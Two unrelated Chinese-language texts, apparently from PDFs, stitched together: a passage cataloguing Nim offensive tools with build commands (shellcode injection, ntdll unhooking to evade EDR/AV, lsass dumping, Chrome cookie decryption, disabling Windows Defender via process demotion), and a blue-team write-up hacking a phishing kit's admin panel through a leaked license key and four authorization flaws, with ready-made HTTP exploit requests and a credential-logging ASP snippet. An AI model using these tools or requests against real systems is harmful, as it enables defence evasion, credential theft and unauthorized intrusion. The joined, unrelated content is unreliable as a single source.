__name__ == '__main__':    if len(sys.argv) != 2:        print('usage:%s <bin>' % __file__)    else:        with open(sys.argv[1], 'rb') as f:            data = f.read()        uuid_array = bin2uuid_array(data)        print(uuid_array)        print("uuid array size: %d" % len(uuid_array.split(','))) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 58 替换代码当中的uuid数组,编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/uuid_exec_bin64.exe src\uuid_exec_bin.nim 1 59 通过嵌⼊C代码实现unhook ntdll绕过EDR/AV检测。 运⾏ unhookc.nim 作⽤ 编译 60 纯nim代码实现unhook ntdll绕过EDR/AV检测。 运⾏ unhook.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip --passL:-lpsapi  -- out=bin/unhookc64.exe src\unhookc.nim 1 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/unhook64.exe src\unhook.nim 1 61 将shellcode注⼊进程管理器(TaskBar)进程。 运⾏ taskbar_ewmi_bin.nim 作⽤ 编译 Bash 复制代码 nim cpp --app=console --cpu=amd64 -d:release -d:strip -- out=bin/taskbar_ewmi_bin64.exe src\taskbar_ewmi_bin.nim 1 62 但MSF Console没有收到session。 滥⽤fork机制dump lsass进程得内存。 运⾏ fork_dump_bin.nim 作⽤ 编译 63 运⾏结果没有返回成功。 通过COM组件调⽤查询ldap。 运⾏ ldap_query_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/fork_dump_bin64.exe src\fork_dump_bin.nim 1 64 运⾏结果报错。 对指定进程进⾏降权处理,例如降权Windows Defender进程,使其保护失效。 运⾏ sandbox_process_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/ldap_query_bin64.exe src\ldap_query_bin.nim 1 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/sandbox_process_bin64.exe src\sandbox_process_bin.nim 1 65 给运⾏在特权提升权限下的cmd.exe降权 通过NetShareEnum api列举远程服务器上得共享⽬录(域内环境)。 运⾏ list_remote_shares.nim 作⽤ 编译 66 解密chrome的cookie数据库,列举所有保存的cookie信息。 运⾏ chrome_dump_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/list_remote_shares64.exe src\list_remote_shares.nim 1 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/chrome_dump_bin64.exe src\chrome_dump_bin.nim 1 67 运⾏ 68 ⾸先创建进程,再设置进程状态为suspened,最后注⼊shellcode到主线程后恢复执⾏。 suspended_thread_injection.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/suspended_thread_injection64.exe src\suspended_thread_injection.nim 1 69 nim代码实现的图⽚隐写程序,可⽤于payload隐藏。⽀持PNG、BMP、QOI、PPM格式的图⽚隐写。 测试代码 隐写数据到png图⽚ 运⾏ steganography 简介 使⽤ 70 读取png图⽚当中隐写的数据 运⾏ 通过宏使⽤随机密钥异或加密nim代码中的字符串,可⽤于避免敏感字符串特征。 nim-strenc 简介 Python 复制代码 import steganography, pixie var image = readImage("steganographyLogo.png") encodeMessage(image, "Hello world this is really cool") image.writeFile("steganographyLogoEncoded.png") 1 2 3 4 5 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:steganography_encode64.exe steganography_encode.nim 1 Python 复制代码 import steganography, pixie var image = readImage("steganographyLogoEncoded.png") echo decodeMessage(image) 1 2 3 4 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:steganography_decode64.exe steganography_decode.nim 1 71 测试代码 保存到test2.nim,使⽤以下命令编译 运⾏ strings查看⽂件当中字符串信息。 此时字符串在⽂件当中以明⽂存储。 下⾯引⼊nim-strenc库,重新编译测试。 使⽤ Python 复制代码 echo "Mimikatz Fantastic Baby!!!" 1 Python 复制代码 nim cc -d:strip -d:release --app=console --cpu=amd64 --out=bin/test2.exe test2.nim 1 72 运⾏看能否正常运⾏ strings匹配字符串 可以看到,已经成功将字符串混淆。 ⽆⽂件内存执⾏exe,可⽤于简单压缩壳模板。 ⾸先编译 Nim-RunPE 简介 使⽤ Python 复制代码 import strenc echo "Mimikatz Fantastic Baby!!!" 1 2 Python 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:bin/test2.exe test2.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:NimRunPE.exe NimRunPE.nim 1 73 执⾏ 可以看到内存加载clac.exe成功 通过读取ntdll.dll,获得⼲净的syscall stub指令并⽤RWX内存存储,最后调⽤⼲净的syscall函数实现 direct syscall注⼊到notepad傀儡进程当中。 NimGetSyscallStub 简介 使⽤ 74 通过windows 的各种回调触发shellcode执⾏,这⾥⽤到的回调有:CertEnumSystemStore、 CertEnumSystemStoreLocation、CopyFileExW、CopyFile2、EnumChildWindows、 EnumDesktopWindows、EnumPageFilesW、EnumSystemGeoID、ImageGetDigestStream、 SymEnumProcesses CertEnumSystemStore Nim_CBT_Shellcode 简介 使⽤ Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:ShellcodeInject64.exe ShellcodeInject.nim 1 75 CertEnumSystemStoreLocation CopyFileExW Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Cert_EnumSystemStore64.exe CBT_Cert_EnumSystemStore.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Cert_EnumSystemStoreLocation64.exe CBT_Cert_EnumSystemStoreLocation.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Copy_FileExW64.exe CBT_Copy_FileExW.nim 1 76 CopyFile2 EnumChildWindows Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Copy264.exe CBT_Copy2.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Enum_ChildWindows64.exe CBT_Enum_ChildWindows.nim 1 77 EnumDesktopWindows EnumPageFilesW Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Enum_DesktopWindows64.exe CBT_Enum_DesktopWindows.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Enum_PageFilesW64.exe CBT_Enum_PageFilesW.nim 1 78 EnumSystemGeoID ImageGetDigestStream Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Enum_SystemGeoID64.exe CBT_Enum_SystemGeoID.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Image_GetDigestStream64.exe CBT_Image_GetDigestStream.nim 1 79 SymEnumProcesses nim实现的AES加密库 在nimcrypto的examples⽬录下,有nimcrypto⽀持的所有AES加密⽅法,分别是CBC、CFB、CTR、 ECB、GCM、OFB CBC代码测试 nimcrypto 简介 使⽤ Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:CBT_Sym_EnumProcesses64.exe CBT_Sym_EnumProcesses.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:cbc64.exe cbc.nim 1 80 CFB代码测试 CTR代码测试 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:cfb64.exe cfb.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:ctr64.exe ctr.nim 1 81 ECB代码测试 GCM代码测试 OFB代码测试 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:ecb64.exe ecb.nim 1 Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:gcm64.exe gcm.nim 1 82 winim包含windows api函数定义、结构体定义、常量定义,并且兼容.net 3.6.0以上。使⽤nim开发 windows平台的红队⼯具winim是核⼼组件。 offensive-nim仓库的⼤部分例⼦都是调⽤的winim。 nim版本的SysWhispers3,兼容x64、x86、wow64。 ⽤于⽣成direct syscall的指令,程序当中通过syscall绕过edr hook的监控。 winim 简介 使⽤ NimlineWhispers3 简介 ⽤途 zippy Bash 复制代码 nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 -- out:ofb64.exe ofb.nim 1 83 nim代码实现的deflate、zlib、gzip格式的压缩⽂件处理。 对数据进⾏压缩,减⼩⽂件体积 ⽤于将nim源码混淆的库 混淆nim代码 nim语⾔实现的sqlite数据库读写库 存储结构化数据到sqlite数据库中 --opt:size 这个编译选项会对⽣成的⽂件进⾏压缩,但压缩⽅式就是nim会⽤它⾃⼰实现的压缩壳对 代码压缩,不推荐使⽤,因为已经被国外杀软标记 --passc=-flto --passl=-flto 添加这个编译选项也会减少⽣成⽂件的体积,并且没有被杀软标记 --passL:-Wl,--dynamicbase 由于nim默认编译⽣成的exe是没有重定位表的,这在exe加壳的时候 会产⽣影响,所以可以⽤这个编译选项指定⽣成重定位表 -static 当使⽤cpp即g++编译nim程序时,需要指定添加该编译选项告诉链接器静态链接libc++库, 否则编译的⽂件在其他机器执⾏会报错提示缺少依赖库 简介 ⽤途 nuglifier 简介 ⽤途 tiny-sqlite 简介 ⽤途 编译命令 ● ● ● ● 84 https://web.archive.org/web/20210117002945/https://secbytes.net/Implant-Roulette-Part- 1:-Nimplant https://github.com/byt3bl33d3r/OffensiveNim#README.md 参考⽂献 ● ●
pdf
这次的案件源自于很久以前外部 HC 单位对某司的钓鱼攻击。文章中的源 码是 ASP 版本的钓鱼框架紫缘,但是 ASP 源码中存在越权访问漏洞所以可以才 得以打到攻击者的后台。在同段 IP 的扫描中根据中间件的版权信息可以获取同 类型的钓鱼管理后台。详细内容在后续章节逐一介绍攻破思路和方法。 一、事件背景 企业邮箱收到了仿造 Outlook Web App 界面的钓鱼邮件。应该是想要钓鱼 我们公司员工的邮箱账户。攻击者 Outlook 钓鱼页面: 二、反制过程 渗透测试是红队人员对目标单位的攻击,反制是目标单位的蓝队人员对红 队人员的反向渗透测试。所以把这个反红队过程也叫做反制。反制和渗透测试 一个正常网站没有差别。除了对目标 IP 的信息收集、漏洞挖掘外增加了同类系 统扩展扫描、受控范围定位、人头威胁情报的搜索。通用行业的渗透讲究找出 漏洞防患于未然,反制更多是对攻击者的一系列资产搜集,然后挖出受控者和 攻击者的身份信息为主。 信息收集 面对单个 IP 的信息收集,常用的方法是敏感文件、端口扫描、弱口令测 试、旁站域名。这里有一个技巧,主要的 C2 找不到后台的时候,扫描端口再 做目录扫描是可以有几率得到其他后台信息的。攻击者一样会做应用和管理后 台分离访问。图中的 2301 端口就是可疑端口,下图是端口扫描的结果: 弱口令测试漏洞挖掘 除了 SSH 和 RDP 暴力破解外,这些服务性质的端口是可以尝试的。扫描出 来的 21 服务类端口 FTP 做口令破解,可以看到 FTP 有匿名访问,但登录之后访 问不到 WEB 文件。 祭出 dirsearch 对后台做目录扫描, 对 80 端口扫描不出敏感文件的时候,换 到不同端口再尝试扫描网页文件。这次切换的是 2301 端口敏感文件扫描得到后 台页面:http://xxx.xxx.xxx.xxx:2301/admin.asp。其中比较有用的信息, MANAGEQQ 管理系统,紫缘設計工作室(WWW.CKZZ.NET) 扫描出来的后台已经暴露出钓鱼程序名称、版本年限、端口、源码里面也 有特别的字符,在百度网盘搜索引擎搜索能得到很多结果。 花时间在找源码的 过程比较长,复现文章时网盘搜索已经搜索不出来了,仅存的几个 ASP 源码已 经取消分享。以下是我在百度网盘搜索引擎里搜索得到的紫缘钓鱼源码架构截 图: 搭建起来版本号是 20150502 的,跟目标源码长得不太一样。但是测试的 几个文件都是跟目标站一样的。后台样式截图如下: ASP 代码审计跟审计其他脚本语言区别不大,我觉得小语种代码审计虽然 没有编辑器可以很方便调试输出结果,但是利用输出语句和条件判断、终止语 句能跑起来就可以实现对小语种代码审计,因为调试器起到的作用就是断点和 输出变量的作用而已,熟悉原理一样可以实现调试和分析。 ASP 调试和执行 SQL 语句的方法说明: 输出语句 Response.Write ""&username&"' ------ '"&password&"" 数据库操作 set rs=server.CreateObject("adodb.recordset") ‘建立一个数据集 set rs=server.CreateObject("adodb.recordset") ‘建立一个数据集的实 例 rs.open ...... ‘打开一个记录集 rs.addnew ‘添加记录到数据表末端 rs.update ‘更新数据表记录 这款 ASP 钓鱼源码比较简单,没有上传、命令执行类漏洞可以直接利用, XSS 之前已经黑盒子试过了没有反馈,感觉应该是做了过滤。况且已经扫到后 台地址,拿到源码后先看看有没有机会可以越权进后台页面拿到受控者的数 据。 从配置文件开始找起,在 WEB 根目录里的 Web.box 文件 89 行,可以看到 访问 2301 端口是指向管理后台目录\wwwroot\_Manager_##_#@#。 # 设置 NetBox.HttpServer 对象 Set http3 = CreateObject("NetBox.HttpServer") # 监听 2301 端口 If http3.Create("", "2301") = 0 Then # 添加访问目录 Set www = http3.AddHost("", "\wwwroot\_Manager_##_#@#") www.EnableScript = true www.AddDefault "ckzz_ec.asp" http3.Start end if 搜索紫緣設計工作室(WWW.CKZZ.NET) 在 wwwroot\_manager_##_#@#\index.asp 找到了后台登录验证页面。自己下载一 个 netbox 加载 web.box 就可以脱离紫缘已经封装好的源码了, 因为配置参数都 是默认有的。后台的界面比较少,没找到可以不登录就直接访问的页面。遂放 弃 SQL 注入漏洞挖掘 源码很多地方都是没有过滤就调用外部传参的变量。管理员表 Manager, 字段名 ZY_UserName、ZY_PassWord。密码加密方式有点变态,SQL 注入出来 密文稍微复杂点的明文密码肯定是解不开了。 数据库表名搜索到的查询语句部分传参到数据库中查询,但是 SQL 注入读 取出来的密码很难解开的。原理是先用 sha256 加密了一次除去密码的空格,然 后用 base64Encode 编码后再 sha256 加密一次,具体源码部分如下: # 数据库查询部分 sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'" # 密码加密方式 password=sha256(base64Encode(sha256(replace(trim(request("password" )),"'","")))) 登录部分不会解开密文成明文,而是把用户登录的明文密码用同样加密方 式把明文密码加密后对比存在数据库里的密文密码。当时钓鱼站点存在的时候 由于 Access 数据库的 SQL 注入不知道 WEB 目录的绝对路径,没法导出 webshell。也就直接放弃继续搜索 SQL 注入的想法。登录界面认证部分代码 wwwroot\_manager_##_#@#\index.asp 23~52 行: '提交驗證開始 if Request.form.count>0 then ip=request.ServerVariables("REMOTE_ADDR") session("fileget")=Server.MapPath(".") ‘ 接收用户名 username=replace(trim(request("username")),"'","") ‘ 加密密码对比数据库里的密文 password=sha256(base64Encode(sha256(replace(trim(request("password" )),"'","")))) Session("passwordup")=base64Encode(sha256(base64Encode(mid(sha256(r equest.form("passwordup")),16,32)+mid(Reg("ckzz_gen_key"),8,16)))) CheckCode=replace(trim(request("CheckCode")),"'","") '判斷管理帳戶和密碼不能為空 If username="" or password="" then Call Box("管理帳戶和登入密碼不能填空!") End if '判斷驗證碼 If cstr(trim(session("getcode"))) <> cstr(trim(Request("code"))) then Call boxurl("验证码错误,返回重新输入!","?") End If '驗證開始 set Rs=Server.CreateObject("adodb.recordset") sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'" rs.open sql,conn,1,1 if rs.eof and rs.bof then Call Infozt("登入帳戶或密碼錯誤!") Call Box("管理帳戶或登入密碼不正確,請重新輸入!") else '帳戶被禁用或遠程關閉 if rs("kick")=true then Call Infozt("登入帳戶已禁用!") Call Box("管理帳戶被禁用或於主站關閉登錄權限!") end if Call Infozt("登入密碼驗證完成,登錄成功!") 越权修改密码漏洞挖掘 当已经确认 SQL 注入搞下来密码也破解不开密文,而且进了后台也不一定 拿 SHELL 后。就把找越权访问漏洞、SQL 注入漏洞、XSS 漏洞思路变换为找越 权修改漏洞,因为反制未必需要 webshell 才能做到追踪攻击者。我按照 rs.update 更新数据表记录找了 4 处越权修改管理员密码漏洞。每一个都比上一 个验证玄幻。Haha~ 越权 1-越权修改密码 第 1 处越权修改密码漏洞主要是源自于紫缘是商业钓鱼框架,所以需要授 权码才能使用,但是网上的破解版本似乎泄露的授权码都是一样的。所以造成 了这个漏洞。 搜索 request()函数找调用参数的时候发现/ckzz_ec.asp 文件的传参可以控 制。接收的 key 参数跟数据库里的 ckzz_gen_key 字段匹配就可以修改管理员密 码、重启服务。 # 接收 action 参数 If Request("action")="manager" Then dim username,password1,password2,rss Set Reg = Conn.Execute("Select * from ckzz_reg") username=request("username") password1=request("password") password2=request("tpassword") # 接收 key 参数 key=request("key") if password1<>password2 then response.write "passerror" response.end End if # key 参数与数据库表里的 ckzz_gen_key 对比,如果错误就结束后续操作 if key<>Reg("ckzz_gen_key") then response.write "keyerror" response.end set reg=nothing End If # 最后修改管理员密码 set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from Manager where zy_username='"&username&"'" rs.open sql,conn,1,3 rs("zy_password")=sha256(base64Encode(sha256(password1))) rs.update 那么从代码看 ckzz_gen_key 是一个很重要的值,找数据库看看表结构就可 以清楚作用了。直接查看 MDB 数据库发现是有密码加密的。那么只好翻数据库 配置文件,然后看看正常逻辑下是怎么调用的数据库。 <% Dim Conn,Connstr # &Netbox("DB")& 应该就是数据库的相对路径 Connstr="Provider=Microsoft.Jet.OLEDB.4.0;data source="& Server.MapPath("../../Ckzz_DataBase/"&Netbox("DB")&"")&";persist security info=false;jet OLEDB:Database Password="&Netbox("DBP")&"" Set Conn=Server.CreateObject("adodb.connection") Conn.Open Connstr %> NetBox("DBP")应该就是数据库的路径位置。然后全局搜索发现 NetBox("DBP")是调用的 web.box 里 11~14 行。Zy.dll 里的 CKZZ_DB()函数: Shell.RegisterServer "ZY.DLL" Shell.RegisterServer "Jmail.dll" Set ZYQQ = Netbox.CreateObject("ZY.QQ") path =NetBox.ApplicationPath NetBox.ConfigFile = path & "ManageQQ.ini" NetBox("DB")=ZYQQ.CKZZ_DB(1) NetBox("DBP")=ZYQQ.CKZZ_DB(2) ZY.DLL 查壳是 Microsoft Visual Basic 6.0 DLL 写的 DLL,VB 写的二进制文件 可以反编译看代码。这里可以看到反编译后的代码数据库调用路径是是 ###www.ckzz.net###.accdb。数据库的加密密码是:www.ckzz.net.acc2003 打开数据库得到 Ckzz_gen_key 字段的值是 94ebb60031c67eb0b42774de007dad3b,这段就是钓鱼程序的授权验证码。 好的,拿出这个泄露后滥用的授权码,构造 HTTP 数据包在本地测试一 下。 GET /ckzz_ec.asp?action=manager&username=admin&password=admin&tpassword =admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1 Host: 192.168.229.128:2301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,im age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: LRFZKRHDQNCTVVIMERCO=CKSRDIZMQNDMCSWBOWRWYNLJPTLUJUTFOCUYJOZC; OTOUPMOKFXIWFSKOEQID=MZGVGBDHXVMUHLEZWMCZXMZWEDNBJXXQGTUYSTZB Connection: close 密码修改成功效果,显示出 editok 的时候,就感觉已经修改成功了。: 为了验证数据库里的密码是不是已经被修改了。我使用程序后台界面自带 的 sha12base642sha1 的加密函数把明文密码加密后的密文跟数据库里的密文对 比了一下,为了验证我写了一段记录后台账户密码的 ASP 代码。往登录界面一 插就能用,然后用正确密码登录之后截取明文密码加密后的密文,后面越权漏 洞改管理员密文的时候还可以用到这几段密文。 dim fs,f,sw Set fs = Server.CreateObject("Scripting.FileSystemObject") Const saveFilePath = "c:\test.txt" if fs.FileExists(saveFilePath) then set f=fs.OpenTextFile(saveFilePath,8,true) f.WriteLine("'"&username&"' ------ '"&password&"'") f.Close else Set f = fs.CreateTextFile(saveFilePath, True) f.WriteLine("'"&username&"' ------ '"&password&"'") f.Close end if set f=Nothing set fs=nothing 对应的密文: 'admin' ------ '70a647030002098aea97e7fcfa35fdcbf5cd5890f3de45af1df654f0995eb816' 'admin1' ------ '171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d' '123456' ------ '39dc0e09acb949e9369083ca020d044e6e1016505cc0505e6bf19bbbf8835cb7' 真实环境测试不需要二级密码也可以修改管理员密码,可能是跟钓鱼页面 源码用的攻击者都使用同一个授权 key 有关系。二级密码验证部分的代码被注 释了。这个故事告诉我,白嫖虽然香,但也容易出问题~。 原后台虽然有个登录框会向远程服务器地址发 HTTP 请求获取二级密码做 验证。但是我从 ZY.DLL 提取到的二级密码获取网址已经挂了。所以这里的测试 不需要二级密码验证也可以正常登录。 越权 2-越权修改用户名 第 2 处越权是发现可以通过授权 key 修改管理员密码之后,顺着这个线索 又发现通过授权 key 可以做很多操作。看文件名,这套钓鱼源码框架似乎还可 以通过 API 文件操作修改账户信息。比如 Ckzz_manager_api.asp 5 行~38 行。如 果修改密码失败,还可以用 key 值修改用户名。也就意味着就算管理员改了 admin 默认名账户,我依旧把改掉管理员的账户成 admin,再改管理员密码。 # 修改用户名操作,先接收要修改的管理员名字 if Request.QueryString("action")="edit_username" then username = trim(request("username")) key = trim(request("key")) if username="" then response.write "error" response.end() end if reg_sql="select * from ckzz_reg" set reg_rs=Server.CreateObject("ADODB.Recordset") reg_rs.open reg_sql,conn,1,1 # key 参数与数据库表里的 ckzz_gen_key 对比,如果错误就结束后续操作 if reg_rs("ckzz_gen_key")<>key then response.write "error" response.end() end if # 修改管理员账户 set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from Manager where id=1" rs.open sql,conn,1,3 rs("zy_username")=username rs.update rs.close # 增加一条数据库记录 set rs = nothing set reg_rs = nothing set rss=Server.CreateObject("adodb.recordset") sql="select * from log" rss.open sql,conn,2,3 rss.addnew rss("user_name")="WWW.CKZZ.NET" rss("user_ip")=request.ServerVariables("REMOTE_ADDR") rss("times")=now() rss("zhuangtai")="程序管理主站修改後臺帳戶,新帳戶為:"&username rss.update response.write "ok" response.end() end if 对比数据库确实成功修改了用户名,为了修改用户名构造的 HTTP 数据包 如下: GET /ckzz_manager_api.asp?action=edit_username&username=admin&key=94ebb 60031c67eb0b42774de007dad3b HTTP/1.1 Host: localhost:2301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,im age/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 越权 3-越权修改密码 前面的代码已经可以看出通过 API 文件操作可以修改账户 Ckzz_manager_api.asp。继续分析 Ckzz_manager_api.asp 39 行~72 行,发现还 是可以用 key 值修改密码。 # 接收要修改的密码 if Request.QueryString("action")="edit_password" then password = trim(request("password")) key = trim(request("key")) if password="" then response.write "error" response.end() end if reg_sql="select * from ckzz_reg" set reg_rs=Server.CreateObject("ADODB.Recordset") reg_rs.open reg_sql,conn,1,1 # key 参数与数据库表里的 ckzz_gen_key 对比,如果错误就结束后续操作 if reg_rs("ckzz_gen_key")<>key then response.write "error" response.end() end if # 修改 ID=1 的记录里的密码 set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from manager where id=1" rs.open sql,conn,1,3 rs("zy_password")=sha256(base64Encode(sha256(password))) rs.update rs.close set rs = nothing set reg_rs = nothing set rss=Server.CreateObject("adodb.recordset") sql="select * from log" rss.open sql,conn,2,3 rss.addnew rss("user_name")="WWW.CKZZ.NET" rss("user_ip")=request.ServerVariables("REMOTE_ADDR") rss("times")=now() rss("zhuangtai")="程序管理主站修改後臺密碼,新密碼為:"&password rss.update response.write "ok" response.end() end if 构造数据包,用 admin1 的密文是 171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d 。对比数据库里的密文值,又修改成功了: GET /ckzz_manager_api.asp?action=edit_password&password=admin1&key=94eb b60031c67eb0b42774de007dad3b HTTP/1.1 Host: localhost:2301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,im age/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 越权 4-弱条件修改用户名&密码 第 4 处越权修改用户名和密码的漏洞。只要判断是不是有 cookie 值而不需 要登录成功也可以执行修改账户密码的操作。 仔细分析 ckzz_manager.asp 这个文件,。10 行~40 行代码。ID 为空就越权 修改用户表第一条记录的用户密码。ID 不为空还能越权修改用户名,具体代码 如下: # 接收参数为 edit_manager if Request.QueryString("action")="edit_manager" then id = trim(request.form("masterid")) password = trim(request.form("password")) repassword = trim(request.form("repassword")) # 如果 repassword 跟 password 参数相等,并且不为空就通过验证 if password=repassword and repassword<>"" then set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from manager where id=1" rs.open sql,conn,1,3 # 等于空就修改密码 if id="" then rs("zy_password")=sha256(base64Encode(sha256(password))) rs.update rs.close set rs = nothing set rss=server.CreateObject("adodb.recordset") sql="select * from log" rss.open sql,conn,2,3 rss.addnew # 赋值 session("admin") rss("user_name")=session("admin") rss("user_ip")=request.ServerVariables("REMOTE_ADDR") rss("times")=now() rss("zhuangtai")="修改後臺密碼,新密碼:"&password rss.update end if # 不等于空就修改用户名和密码 if id<>"" then rs("zy_username")=id rs("password")=sha256(base64Encode(sha256(password))) rs.update rs.close set rs = nothing 构造数据包: POST /ckzz_manager.asp?action=edit_manager HTTP/1.1 Host: localhost:2301 Content-Length: 41 Cache-Control: max-age=0 Origin: http://localhost:2301 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,im age/apng,*/*;q=0.8 Referer: http://localhost:2301/index.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: GGOQPPUJGYTZLLPQEVMT=FTTGSOBVCLRDXIIQDKCTHFNCTPAUBWNVQGWEUSID; ts_uid=9255500360; LQAZPFPBDVYRXSJYFBEM=GFGVTJKZPZBGXXZGGLRZKJGYXRXWWFJTMGHNRCJR; GFVJPNNMAPEHZFPDTCDN=SKALNLNSTBIIOSPSFRENTXXFTKBMJPQDJBGXMTEU; ZZZUNOAQTQJRYRVYWWME=DDCJYWLVVADMRTDDDJZJCLOJCKPITYYAABBMRTES; QCUMJQUFSFTTAOOFXLYS=ABSXGDZGTYUFCFSSEUVZJQHIOGWJLAAMYPUWVSYF; QRPHUYXBKFAJADLUAPMZ=INJNKFQTDNRYVBLMJEPUEQRBLGFDSXYZRGZVYWRW; cs=Robot/%3FXTWJBTDNNQVRCQHHCOFLZMOGDLRGEKXVPLTUAIHC; ZBDUWICVXKRMTPZCQEHZ=SPISPZEULDQPJHRMCIBLPVISLZKWHABMYOANDKYK; DHDYCBOINVIOMKIPOKSG=FEFZNNVESNTMDLTZGNDDXDPHFWNBMTHUCTSZKOPG Connection: close masterid=&password=admin&repassword=admin 触发这个漏洞要经过/include/Check.asp 文件 2 行~6 行的验证。可是这个 条件其实是在访问登录后台 index.asp 页面的时候有过赋值 session("fileget")=Server.MapPath(".")。这样的话只要把 index.asp 的验证 cookie 替换到我构造的数据包里就能实现任意修改用户名和密码了,不再受之前那几 个越权改密码还需要授权 key 的限制。只要访问下管理员后台首页得到会话 值,/include/Check.asp 文件 2 行~6 行的验证代码如下: if session("fileget")<>Server.MapPath(".") then Session.Abandon() Response.Write("<script>alert('目錄認證錯誤,請返回重新登錄! ');top.location='index.asp';</script>") Response.end rs.close 三、梳理攻击者信息 进了后台后先记录下后台登录 IP:1xx.xxx.xxx.xxx、xxx.xxx.xxx.2xx,信封 XX 封 四、同 C 段资产扫描 通过端口、中间件信息扫描获取同类型钓鱼网站的范围。 五、发件邮箱判断受控 翻发件邮箱里的 IP:XXX.XXX.XX.XX 反查绑定的域名发现是一个公司的网 站,应该是正常的。而直接访问是通达 OA?看起来很像是国内正常单位被搞 了作为跳板。 再后续反查钓鱼网站域名的访问量、Whois 得到注册人 QQ 就不展开了。 六、总结 总结其实是很重要的,我把所有尝试失败的过程都写进去,因为顺畅的过 程记录未必是最好的。只是这样的方法更适合我自己。这次反制成功的线路复 盘是这样的。 1、WEB 80 端口扫描不出来敏感信息,扫描到不同端口再尝试扫描网页文 件。得到攻击者后台 2、通过后台的「紫缘設計工作室(WWW.CKZZ.NET)」 的字符串,在百度 网盘找到源码 3、审计常规 SQL 注入漏洞、上传漏洞发现没有可以利用的地方,转向越 权漏洞,发现可以修改管理员密码可以进去后台 4、钓鱼源码里面有一个授权 KEY 是固定的。可以用来修改管理员密码 5、不知道管理员用户名的情况下,可以用授权 KEY 修改管理员用户名 6、API 接口文件也可以调用授权 KEY 修改管理员密码 7、后台改密码文件只验证有没有 cookie 值存在作为判断修改密码条件,而 不判断 cookie 是不是成功登录状态 8、通过上线信封来判断受害者身份和数量、IP 地址 9、通过管理员登录后台 IP 地区判断攻击者的 IP
pdf
